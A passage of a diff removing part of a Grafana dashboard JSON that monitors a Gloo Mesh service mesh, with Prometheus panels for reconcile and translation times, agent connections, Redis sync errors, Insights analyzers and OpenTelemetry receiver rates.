- "unit": "short" - } - }, - "pluginVersion": "9.3.1", - "reverseYBuckets": false, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(gloo_mesh_reconciler_time_sec_bucket[1m])) by (le)", - "hide": false, - "interval": "", - "legendFormat": "{{le}}", - "refId": "B" - } - ], - "title": "Total Recon Times Histogram", - "tooltip": { - "show": true, - "showHistogram": false - }, - "type": "heatmap", - "xAxis": { - "show": true - }, - "yAxis": { - "format": "short", - "logBase": 1, - "show": true - }, - "yBucketBound": "auto" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 1 - }, - "id": 31, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_warning) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Warnings", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": false, - "inspect": false - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Value" - }, - "properties": [ - { - "id": "custom.width", - "value": 66 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "workspace" - }, - "properties": [ - { - "id": "custom.width", - "value": 209 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "namespace" - }, - "properties": [ - { - "id": "custom.width", - "value": 173 - } - ] - } - ] - }, - "gridPos": { - "h": 5, - "w": 12, - "x": 12, - "y": 6 - }, - "id": 45, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": true, - "displayName": "Value" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(translation_error) by (pod,namespace,workspace,gvk)", - "format": "table", - "hide": false, - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Translation Errors", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true - }, - "indexByName": { - "Time": 0, - "Value": 5, - "gvk": 4, - "namespace": 3, - "pod": 1, - "workspace": 2 - }, - "renameByName": {} - } - } - ], - "type": "table" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 0, - "y": 10 - }, - "id": 44, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_translation_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Translation Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Count of translations times that were in a given time in seconds", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 6, - "y": 10 - }, - "id": 46, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.99, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P99", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.90, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P90", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "histogram_quantile(0.75, sum(rate(gloo_mesh_reconciler_time_sec_bucket[5m])) by (le))", - "hide": false, - "interval": "", - "legendFormat": "P75", - "refId": "C" - } - ], - "title": "Recon Time Percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of translators that can run concurrently", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 12, - "y": 11 - }, - "id": 8, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "center", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } 